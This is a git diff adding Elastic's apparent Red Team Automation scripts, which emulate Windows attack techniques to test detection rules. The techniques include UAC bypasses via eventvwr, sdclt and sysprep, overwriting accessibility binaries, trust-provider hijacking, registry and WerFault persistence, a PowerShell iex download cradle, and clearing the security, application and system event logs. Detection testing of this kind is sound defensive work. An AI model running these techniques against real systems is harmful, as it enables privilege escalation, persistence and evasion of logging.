new file mode 100644 index 000000000..ecf6f6d5c --- /dev/null +++ b/rta/smb_connection.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Outbound SMB from a User Process +# RTA: smb_connection.py +# ATT&CK: T1105 +# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs. + +import socket +import sys + +from . import common + +SMB_PORT = 445 + + +@common.requires_os(common.WINDOWS) +def main(ip=None): + ip = ip or common.get_ip() + + # connect to rpc + common.log("Connecting to {}:{}".format(ip, SMB_PORT)) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, 445)) + common.log("Sending HELLO") + s.send(b"HELLO!") + common.log("Shutting down the connection...") + s.close() + common.log("Closed connection to {}:{}".format(ip, SMB_PORT)) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py new file mode 100644 index 000000000..f64b02376 --- /dev/null +++ b/rta/sticky_keys_write_execute.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Overwrite Accessibiity Binaries +# RTA: sticky_keys_write_execute.py +# signal.rule.name: Potential Modification of Accessibility Binaries +# signal.rule.name: Local Service Commands +# signal.rule.name: Persistence via TelemetryController Scheduled Task Hijack +# ATT&CK: T1015 +# Description: Writes different binaries into various accessibility locations. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Prep + bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"] + calc = os.path.abspath("\\windows\\system32\\calc.exe") + temp = os.path.abspath("temp.exe") + + # loop over bins + for bin_name in bins: + + bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name) + + # Back up bin + common.copy_file(bin_path, temp) + + # Change Permissions to allow modification + common.execute(["takeown", "/F", bin_path, "/A"]) + common.execute(["icacls", bin_path, "/grant", "Administrators:F"]) + + # Copy Calc to overwrite binary, then run it + common.copy_file(calc, bin_path) + common.execute(bin_path, kill=True, timeout=1) + + # Restore Original File and Permissions on file + common.copy_file(temp, bin_path) + common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"]) + common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"]) + common.remove_file(temp) + + # Cleanup + time.sleep(2) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py new file mode 100644 index 000000000..3dde49aff --- /dev/null +++ b/rta/suspicious_dll_registration_regsvr32.py @@ -0,0 +1,22 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious DLL Registration by Regsvr32 +# RTA: suspicious_dll_registration_regsvr32.py +# ATT&CK: T1117 +# Description: Pretends to register DLL without traditional DLL extension using RegSvr32 + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Suspicious DLL Registration by Regsvr32") + + common.execute(["regsvr32.exe", "-s", "meow.txt"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py new file mode 100644 index 000000000..aae249c38 --- /dev/null +++ b/rta/suspicious_office_children.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Emulate Suspect MS Office Child Processes +# RTA: suspect_office_children.py +# signal.rule.name: Suspicious MS Office Child Process +# ATT&CK: T1064 +# Description: Generates network traffic various children processes from emulated Office processes. + +import os + +from . import common +from . import mshta_network + + +@common.requires_os(common.WINDOWS) +def main(): + mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py")) + + cmd_path = "c:\\windows\\system32\\cmd.exe" + binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"] + for binary in binaries: + common.copy_file(cmd_path, binary) + + # Execute a handful of commands + common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True) + common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True) + common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True) + common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True) + # Test out ancestry for mshta + common.execute(["powerpnt.exe", "/c", mshta_path]) + + common.remove_files(*binaries) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py new file mode 100644 index 000000000..f95a84a51 --- /dev/null +++ b/rta/suspicious_office_descendant_fp.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Emulate Suspect MS Office Child Processes +# RTA: suspect_office_children.py +# ATT&CK: T1064 +# Description: Generates various children processes from emulated Office processes. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("MS Office unusual child process emulation") + suspicious_apps = [ + "msiexec.exe /i blah /quiet", + "powershell.exe exit", + "wscript.exe //b", + ] + cmd_path = "c:\\windows\\system32\\cmd.exe" + browser_path = os.path.abspath("firefox.exe") + common.copy_file(cmd_path, browser_path) + + for office_app in ["winword.exe", "excel.exe"]: + + common.log("Emulating %s" % office_app) + office_path = os.path.abspath(office_app) + common.copy_file(cmd_path, office_path) + + for command in suspicious_apps: + common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True) + + common.log('Cleanup %s' % office_path) + common.remove_file(office_path) + + common.log("Sleep 5 to allow processes to finish") + time.sleep(5) + common.log('Cleanup %s' % browser_path) + common.remove_file(browser_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py new file mode 100644 index 000000000..f0471a4f3 --- /dev/null +++ b/rta/suspicious_powershell_download.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious PowerShell Download +# RTA: suspicious_powershell_download.py +# signal.rule.name: Suspicious MS Office Child Process +# ATT&CK: T1086 +# Description: PowerShell using DownloadString or DownloadFile in suspicious context + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + cmd_path = "c:\\windows\\system32\\cmd.exe" + server, ip, port = common.serve_web() + url = 'http://{}:{}/bad.ps1'.format(ip, port) + + cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url), + "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)] + + # emulate word and chrome + for user_app in ["winword.exe", "chrome.exe"]: + common.log("Emulating {}".format(user_app)) + user_app_path = os.path.abspath(user_app) + common.copy_file(cmd_path, user_app_path) + + for cmd in cmds: + common.execute([user_app_path, "/c", cmd]) + time.sleep(2) + + # cleanup + common.remove_file(user_app_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py new file mode 100644 index 000000000..d743943f0 --- /dev/null +++ b/rta/suspicious_wmic_script.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious WMIC script execution +# RTA: suspicious_wmic_script.py +# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected. +# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html +import os + +from . import common + +xsl_file = "test.xsl" +xsl_content = """ + + + + + +""" + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Executing suspicious WMIC script") + + with open(xsl_file, "w") as f: + f.write(xsl_content) + + # Many variations on this command. For example, -format:, / format : , etc + common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file]) + + os.remove(xsl_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py new file mode 100644 index 000000000..d8e7d7b41 --- /dev/null +++ b/rta/suspicious_wscript_parent.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious WScript parent +# RTA: suspicious_wscript_parent.py +# signal.rule.name: Suspicious MS Outlook Child Process +# ATT&CK: T1064, T1192, T1193 +# Description: WScript run with suspicious parent processes + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + script_data = """ + WScript.CreateObject("wscript.shell") + """ + script_path = ".\\hello.vbs" + with open(script_path, 'w') as f: + f.write(script_data) + + cmd_path = "c:\\windows\\system32\\cmd.exe" + + for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]: + common.log("Emulating %s" % application) + app_path = os.path.abspath(application) + common.copy_file(cmd_path, app_path) + + common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True) + + common.log("Killing wscript window") + common.execute('taskkill /IM wscript.exe') + + common.log('Cleanup %s' % app_path) + common.remove_file(app_path) + + common.log("Sleep 5 to allow procecsses to finish") + time.sleep(5) + common.log('Cleanup %s' % script_path) + common.remove_file(script_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py new file mode 100644 index 000000000..bdf523253 --- /dev/null +++ b/rta/system_restore_process.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Process Execution in System Restore +# RTA: system_restore_process.py +# ATT&CK: T1158 +# Description: Copies mock malware into the System Volume Information directory and executes. + +import os + +from . import common + +SYSTEM_RESTORE = "c:\\System Volume Information" + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(): + status = common.run_system() + if status is not None: + return status + + common.log("System Restore Process Evasion") + program_path = common.get_path("bin", "myapp.exe") + common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE) + target_directory = common.find_writeable_directory(SYSTEM_RESTORE) + + if not target_directory: + common.log("No writeable directories in System Restore. Exiting...", "-") + return common.UNSUPPORTED_RTA + + target_path = os.path.join(target_directory, "restore-process.exe") + common.copy_file(program_path, target_path) + common.execute(target_path) + + common.log("Cleanup", log_type="-") + common.remove_file(target_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/trust_provider.py b/rta/trust_provider.py new file mode 100644 index 000000000..d7e51f130 --- /dev/null +++ b/rta/trust_provider.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Trust Provider Modification +# RTA: trust_provider.py +# ATT&CK: T1116 +# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass. + +from . import common + +FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501 + + +def set_final_policy(dll_path, function_name): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY) + + common.log("Setting dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path) + + common.log("Setting function name: %s" % function_name) + winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name) + + +if common.is_64bit(): + SIGCHECK = common.get_path("bin", "sigcheck64.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") +else: + SIGCHECK = common.get_path("bin", "sigcheck32.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) +def main(): + common.log("Trust Provider") + set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy") + + common.log("Launching sigcheck") + common.execute([SIGCHECK, "-accepteula", TARGET_APP]) + + common.log("Cleaning up") + set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py new file mode 100644 index 000000000..51cc81e03 --- /dev/null +++ b/rta/uac_eventviewer.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Bypass UAC via Event Viewer +# RTA: uac_eventviewer.py +# ATT&CK: T1088 +# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC. + +import sys +import time + +from . import common + + +# Default machine value: +# HKLM\Software\Classes\MSCFile\shell\open\command\(Default) +# %SystemRoot%\system32\mmc.exe "%1" %* + + +@common.requires_os(common.WINDOWS) +def main(target_file=common.get_path("bin", "myapp.exe")): + winreg = common.get_winreg() + common.log("Bypass UAC with %s" % target_file) + + common.log("Writing registry key") + hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command") + winreg.SetValue(hkey, "", winreg.REG_SZ, target_file) + + common.log("Running event viewer") + common.execute(["c:\\windows\\system32\\eventvwr.exe"]) + + time.sleep(3) + common.log("Killing MMC", log_type="!") + common.execute(['taskkill', '/f', '/im', 'mmc.exe']) + + common.log("Restoring registry key", log_type="-") + winreg.DeleteValue(hkey, "") + winreg.DeleteKey(hkey, "") + winreg.CloseKey(hkey) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py new file mode 100644 index 000000000..02360aa67 --- /dev/null +++ b/rta/uac_sdclt.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Bypass UAC via Sdclt +# RTA: uac_sdclt.py +# ATT&CK: T1088 +# Description: Modifies the Registry to auto-elevate and execute mock malware. + +import os +import sys +import time + +from . import common + + +# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand +# "sdclt.exe /KickOffElev" or children of sdclt.exe +# HKLM value: "%1" %* + + +@common.requires_os(common.WINDOWS) +def main(target_process=common.get_path("bin", "myapp.exe")): + target_process = os.path.abspath(target_process) + + common.log("Bypass UAC via Sdclt to run %s" % target_process) + + key = "Software\\Classes\\exefile\\shell\\runas\\command" + value = "IsolatedCommand" + + with common.temporary_reg(common.HKCU, key, value, target_process): + common.log("Running Sdclt to bypass UAC") + common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"]) + + time.sleep(2) + common.log("Killing the Windows Backup program sdclt", log_type="!") + common.execute(['taskkill', '/f', '/im', 'sdclt.exe']) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py new file mode 100644 index 000000000..5a4784880 --- /dev/null +++ b/rta/uac_sysprep.py @@ -0,0 +1,25 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Bypass UAC via Sysprep +# RTA: uac_sysprep.py +# ATT&CK: T1088 +# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass + + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Bypass UAC with CRYPTBASE.dll") + + common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True) + common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py new file mode 100644 index 000000000..6d48c1592 --- /dev/null +++ b/rta/uncommon_persistence.py @@ -0,0 +1,74 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Uncommon Registry Persistence Change +# RTA: uncommon_persistence.py +# ATT&CK: T1112 +# Description: Modifies the Registry for Logon Shell persistence using a mock payload. + +import sys + +from . import common + +# There are many unconventional ways to leverage the Registry for persistence: + +''' +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script" or +key_path == "*\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync" or +key_path == "*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath" or +key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec" or +key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName" or +key_path == "*\\SOFTWARE\\Microsoft\\Office Test\\Special\\Perf\\" or +(key_path == "*\\System\\ControlSet*\\Control\\SafeBoot\\AlternateShell" and bytes_written_string != "cmd.exe") or +key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms" or +key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\BootExecute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\SetupExecute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\Execute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\S0InitialCommand" or +key_path == "*\\System\\ControlSet*\\Control\\ServiceControlManagerExtension" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" or +key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or +key_path == "*\\System\\Setup\\CmdLine" +) +''' # noqa: E501 + + +@common.requires_os(common.WINDOWS) +def main(target="calc.exe"): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + + common.log("Setting reg key") + winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target) + + common.log("Setting reg key", log_type="-") + winreg.DeleteValue(hkey, "Userinit") + winreg.CloseKey(hkey) + + +if __name__ == "__main__": + exit(main(*sys.argv[:1])) diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py new file mode 100644 index 000000000..3c28d4242 --- /dev/null +++ b/rta/unusual_ms_tool_network.py @@ -0,0 +1,57 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Unexpected Network Activity from Microsoft Tools +# RTA: unusual_ms_tool_network.py +# ATT&CK: T1127 +# Description: Creates network traffic from a process which is named to match common administration and developer tools +# that do not typically make network traffic unless being used maliciously. + +import os +import shutil +import sys + +from . import common + +if sys.version_info > (3,): + urlliblib = "urllib.request" +else: + urlliblib = "urllib" + +process_names = [ + "bginfo.exe", + "msdt.exe", + "ieexec.exe", + "cdb.exe", + "dnx.exe", + "rcsi.exe", + "csi.exe", + "cmstp.exe", + "xwizard.exe", + "fsi.exe", + "odbcconf.exe" +] + + +def http_from_process(name, ip, port): + path = os.path.join(common.BASE_DIR, name) + common.log("Making HTTP GET from %s" % path) + shutil.copy(sys.executable, path) + common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)]) + common.remove_file(path) + + +@common.requires_os(common.WINDOWS) +def main(): + server, ip, port = common.serve_web() + + for process in process_names: + http_from_process(process, ip, port) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py new file mode 100644 index 000000000..187f20022 --- /dev/null +++ b/rta/unusual_parent_child.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Invalid Process Trees in Windows +# RTA: unusual_parent_child.py +# signal.rule.name: Unusual Parent-Child Relationship +# ATT&CK: T1093 +# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows. + +import os +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable)) + process_names = [ + # "C:\\Windows\\System32\\smss.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\services.exe", BSOD (avoid this) + "C:\\Windows\\System32\\winlogon.exe", + "C:\\Windows\\System32\\lsass.exe", + "C:\\Windows\\System32\\taskhost.exe", # Win7 + "C:\\Windows\\System32\\taskhostw.exe", # Win10 + "C:\\Windows\\System32\\svchost.exe", + ] + + for process in process_names: + # taskhostw.exe isn't on all versions of windows + if os.path.exists(process): + common.execute([process], timeout=2, kill=True) + else: + common.log("Skipping %s" % process, "-") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py new file mode 100644 index 000000000..0516c7199 --- /dev/null +++ b/rta/user_dir_escalation.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: SYSTEM Escalation from User Directory +# RTA: user_dir_escalation.py +# ATT&CK: T1044 +# Description: Spawns mock malware written to a regular user directory and executes as System. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(): + # make sure path is absolute for psexec + status = common.run_system() + if status is not None: + return status + + common.log("Run a user-writeable file as system") + source_path = common.get_path("bin", "myapp.exe") + + target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid() + if not os.path.exists(target_directory): + os.makedirs(target_directory) + + target_path = os.path.join(target_directory, "user_file.exe") + common.copy_file(source_path, target_path) + common.execute([target_path]) + + common.remove_directory(target_directory) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py new file mode 100644 index 000000000..7159ff57c --- /dev/null +++ b/rta/vaultcmd_commands.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Searching Credential Vaults via VaultCmd +# RTA: vaultcmd_commands.py +# ATT&CK: T1003 +# Description: Lists the Windows Credential Vaults on the endpoint + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Searching Credential Vaults via VaultCmd") + + common.execute(["vaultcmd.exe", "/list"]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py new file mode 100644 index 000000000..499e014e1 --- /dev/null +++ b/rta/werfault_persistence.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: WerFault.exe Persistence +# RTA: werfault_persistence.py +# signal.rule.name: Process Potentially Masquerading as WerFault +# ATT&CK: T1112 +# Description: Sets an executable to run when WerFault is run with -rp flags and runs it + +import time + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'" + reg_name = "ReflectDebugger" + + commands = ["C:\\Windows\\system32\\calc.exe", + "'powershell -c calc.exe'", + MY_APP] + + for command in commands: + common.log("Setting WerFault reg key to {}".format(command)) + common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key, + "-Name", reg_name, "-Value", command], wait=False) + time.sleep(1) + + common.log("Running WerFault.exe -pr 1") + common.execute(["werfault", "-pr", "1"], wait=False) + time.sleep(2.5) + + common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name]) + + common.log("Cleaning up") + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + common.execute(["taskkill", "/F", "/im", "myapp.exe"]) + + +if __name__ == '__main__': + exit(main()) diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py new file mode 100644 index 000000000..ac7a0662a --- /dev/null +++ b/rta/wevtutil_log_clear.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Clearing Windows Event Logs +# RTA: wevutil_log_clear.py +# signal.rule.name: Clearing Windows Event Logs +# ATT&CK: T1070 +# Description: Uses the native Windows Event utility to clear the Security, Application and System event logs. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Clearing Windows Event Logs") + common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!") + time.sleep(3) + wevtutil = "wevtutil.exe" + + for log in ["security", "application", "system"]: + common.execute([wevtutil, "cl", log]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py new file mode 100644 index 000000000..4908dc9b2 --- /dev/null +++ b/rta/winrar_encrypted.py @@ -0,0 +1,98 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Encrypting files with WinRAR +# RTA: 